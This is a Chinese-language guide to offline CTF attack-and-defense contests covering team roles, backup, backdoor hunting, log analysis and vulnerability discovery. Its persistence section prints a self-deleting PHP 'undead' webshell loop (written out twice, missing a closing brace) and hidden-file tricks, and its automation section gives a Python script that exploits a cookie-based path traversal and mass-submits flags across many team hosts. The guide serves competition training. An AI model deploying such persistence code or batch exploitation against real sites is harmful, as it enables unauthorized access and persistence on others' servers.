CTF线下攻防指南

CTF线下攻防赛主要以攻防模式(Attack & Defense)来呈现。一般在这种模式下,一支参赛队伍有三名队员,所有的参赛队伍都会有同样的初始环境,包含若干台服务器。参赛队伍挖掘漏洞,通过攻击对手的服务器获取Flag来得分,以修补自身服务器的漏洞防止扣分。

简介

CTF线下攻防赛主要以攻防模式(Attack & Defense)来呈现。一般在这种模式下,一支参赛队伍有三名队员,所有的参赛队伍都会有同样的初始环境,包含若干台服务器。参赛队伍挖掘漏洞,通过攻击对手的服务器获取Flag来得分,以修补自身服务器的漏洞防止扣分。

攻防模式可以通过实时得分反映出比赛情况,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,同时也比团队之间的分工配合与合作。

 

题目类型

1.语言常见漏洞题目

Python 模板注入(SSTI):直接利用漏洞执行命令获得Flag、绕过关键字限制。

Nodejs 任意文件读取:直接读取Flag。

PHP 各类漏洞:文件包含、反序列化、文件上传、注入、代码执行、命令执行。

2.后门漏洞

3.公开CMS漏洞

DZ SSRF漏洞、小众CMS 0day、出题人自己改/写的CMS。

比赛拓扑(见图1)

图1 比赛拓扑

整体思路(见图2)

图2 整体思路

分工

通常在线下攻防赛中会有三名队员参加比赛,而如何对三名队员进行合理的分工,这是在比赛开始之前就需要做好的工作。

在线下攻防赛中一般需要两名队员作为攻击者来进行漏洞挖掘、权限维持、探查网络、漏洞利用、自动化攻击、自动化提交等。这两名队员中要有一个代码编写能力比较强的人,其主要作用是在短时间内构造出能批量提交、自动化攻击的脚本程序,避免浪费人力在提交Flag上。另一名队员充当防护者的角色进行漏洞修复、后门排查、文件监控、弱口令排查等。

防护

在任何有竞技性质的攻防比赛中,防护都是非常重要的一环。CTF线下攻防也不例外,往往在比赛最终的排名前几名都是对服务器做了防护措施的队伍。

防护一般情况下分为漏洞修复、文件备份、后门排查、文件监控、弱口令排查等。

漏洞修复即在攻击者角色找到了可以攻击的点之后,在相应的代码处进行过滤、修复。

文件备份即在开始进行比赛的时候一定要对原始数据进行备份,这样可以防止服务器相关Web文件被删除导致服务Down掉之后可以自行恢复(一般在线下比赛服务Down掉会持续扣分,而重启一次服务会扣掉大量分数)。

后门排查分为两种情况:第一种为主办方为了照顾水平比较低的选手而留下的隐藏后门,第二种为其他参赛队伍通过漏洞取得服务器一定权限后留下来的后门。针对第一种情况可以开始比赛时把备份文件在后门排查工具里(如D盾、河马)进行一次WebShell审查,找到主办方留下的后门,删除即可(见图3)。

图3 WebShell审查

但是也有可能主办方留下了一个免杀马,在这种情况下,如果有外网可以把源代码下载下来,把官方源代码和比赛源代码进行一次diff,这种办法基本上可以找出所有主办方留下的WebShell。也可以利用这种方式帮助攻击者进行漏洞挖掘,因为如果不是已知公开的漏洞,主办方都会在源代码里进行更改,达到可以GetShell的目的。针对第二种情况要看攻击者留下了什么类型的后门,如果是普通的WebShell一句话或者变种的一句话木马,那么直接删除即可。如果是不死马+内存马就会比较麻烦,因为在线下攻防赛中一般不是root权限,所以是没有权限杀死进程的。一般的不死马都是通过循环创建WebShell文件,如果不杀死进程的话会一直创建下去,但是也会有延时性,可以通过这种延时性写一个暴力循环删除的脚本来达到删除的目的。

下面为一个常见的不死马。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('.config.php', '<?php phpinfo();?>');
    system('chmod 777 .config.php'); 
    touch(".config.php", mktime(20,15,1,11,17,2017)); 
usleep(100);
?>

文件监控即是要针对攻击者在服务器上创建的任何文件有一个告警或者阻断的操作,要保持服务器的文件不被删除,不允许上传或者创建文件。网上有相应的文件监控的脚本,可以参考学习。

弱口令排查即是主办方给的服务器为弱口令,或者自己服务器内部Web服务内存在弱口令,针对这种情况一定要及时更改弱口令,做好弱口令检查。

日志分析

在线下攻防模式中日志分析是非常重要的一环,日志分析一般是在比赛正式开始之后进行的对其他攻击者的流量进行分析提取有用的信息,通过查看其他队伍打过来的流量可以分析到他们留下的WebShell文件名、漏洞利用方式、漏洞产生的点,方便自己进行攻击。因为主办方可能会不允许选手查看日志文件,再加上日志文件不会对POST的数据进行分析打印,所以我们在进行日志监控、流量分析时,一定要提前准备好自己的监控脚本,对Web服务进行监控、分析,这样才可以抓取到完整的其他队伍打过来的流量,方便自己审查。

漏洞挖掘

在CTF攻防赛中,比赛的语言以PHP居多,漏洞的类型主要为后门漏洞、注入类型、文件上传、文件包含、代码执行、命令执行或互联网已公开的已知CMS漏洞。因此在比赛中,漏洞挖掘主要是以这几种漏洞为主。

漏洞挖掘阶段,首先将备份的源代码使用D盾进行查杀,筛选出D盾扫描出的木马文件然后在服务器上将其删除。对于其他类型的漏洞,主要还是通过白盒与黑盒方式进行漏洞挖掘。黑盒的方式与渗透测试有点相似,而白盒测试中,笔者使用的工具为“Seay源代码审计系统”,根据工具列出的漏洞描述去尽可能找上述的漏洞类型(见图4)。

图4 漏洞挖掘

       对于不同厂商支持的比赛,获取Flag的方式也不同。在笔者的参赛经历中遇到过两种获取Flag的方式:一种是Flag在系统的某个目录下;另一种则是使用已GetShell的主机去访问Flag机,在返回包中会有Flag。对于两种不同模式的获取Flag机制,漏洞挖掘的侧重点也不同。比如前者方式对于文件包含漏洞只需包含Flag路径即可,但是对于后者方式还需确定是否存在远程包含或者伪协议是否可用。

权限维持

1.生成“.”开头的隐藏文件。

<?php
file_put_contents('.config.php', '<?php phpinfo();?>');    
?>

2.生成“-”开头的文件。

-开头的文件,如果使用rm直接删除,将无法删除,因为rm命令将会把-后面的字符串当作参数去执行。

root@JD:~/test# echo "123" > -test.php
root@JD:~/test# rm -test.php 
rm: invalid option -- 't'
Try 'rm ./-test.php' to remove the file '-test.php'.
Try 'rm --help' for more information.
root@JD:~/test#

3.使用不死马。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('.config.php', '<?php phpinfo();?>');
    system('chmod 777 .config.php'); 
    touch(".config.php", mktime(20,15,1,11,17,2017)); 
usleep(100);
?>

上述代码的意思为:首先代码设置程序永久执行直到程序结束,并且客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行。然后删除自己后进入循环,循环生成木马文件。由于源木马已自删除,且已注入内存中执行,想让程序停止,只能是重启服务,或者找出此程序的进程然后kill。

也可使用不死马生成“-”开头的木马文件。

自动化攻击

自动化攻击在CTF线下攻防赛的体现是自动化打payload获取到Flag然后自动提交的过程。

笔者以最近参加的一场比赛来举例说明。那场比赛的时长为3小时,其中前2小时为5分钟一轮,最后1小时为2.5分钟一轮。因此在这么短的时间内,在知道如何去攻击获取Flag的情况下,手工获取Flag且手工提交,在短短的2.5分钟内也许只能提交4个左右队伍的Flag,这显然不是一种优雅的方式。在那场比赛中,笔者印象最深刻的那个漏洞是用户注册登录后图片加载处存在任意文件读取漏洞。此漏洞并不难,但是在想要成功的利用此漏洞,必须先注册,然后使用注册的账号登录,使用登录后的状态再去访问漏洞页面去使用payload来获取Flag。以下为笔者的代码:

#获取Flag
def regist_login_getFlag(url):
	data = {
		"username":"nsfocus",
		"password":"nsfocus"
	}
	cookie = {"Picture":"YToxOntzOjI6ImFhIjtzOjI4OiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mbGFnIjt9"}
	r = requests.Session()
	url1 = url + "/index.php/register"
	url2 = url + "/index.php/login"
	url3 = url + "/index.php/picture"
	r1 = r.post(url1,data = data)
	r2 = r.post(url2,data = data)
	r3 = r.get(url3,cookies =cookie)
	str_result = r3.text
	match = re.compile("<img src=\"data:image/jpg;base64,(.*?)\" >")
	try:
		result_strs_list = re.findall(match,str_result)
		print str(result_strs_list)
		result_strs = result_strs_list[0]
		Flag = base64.b64decode(result_strs)
		return Flag
	except:
		return 0
# 提交Flag
def post_Flag(Flag):
	url = "http://172.16.200.14:9000/submit_Flag/"
	Flag = str(Flag).replace("\n","")
	data = {"token":"QhfFGd6AVAucAW4kHXBDydUnqSVQcXAUbrjduxCAmwmMCBJfwUU4ZtQYE746qeNKnKEDGEYdF62","Flag":Flag}
	res=requests.post(url,data,timeout=1)
	print res.text
if __name__ == '__main__':
	for x in xrange(1,32):
		urls = "http://172.16."+str(x)+".101/"
		post_Flag(regist_login_getFlag(urls))

总结

在线下攻防模式中一定要掌握以下几点。

1.对于浏览器的使用。

大部分漏洞都是网上可查的,所以一个好的搜索技巧是十分重要的。

2.对于漏洞的反应能力。

攻防模式中一般都需要GetShell,所以一定要多关注可以RCE的点。

3.脚本的编写能力。

在getshell之后拿到了Flag,如果有50个队,5分钟刷新一次Flag的话通过手动提交会使得一个队员只能提交Flag,而且还可能会Down掉,所以如果有一个可以快速编写脚本的人那就再好不过了。

4.好的心态。

服务Down掉不要慌,心态不要崩,崩了就什么都没有了。

 

Spread the word. Share this post!

Meet The Author

Leave Comment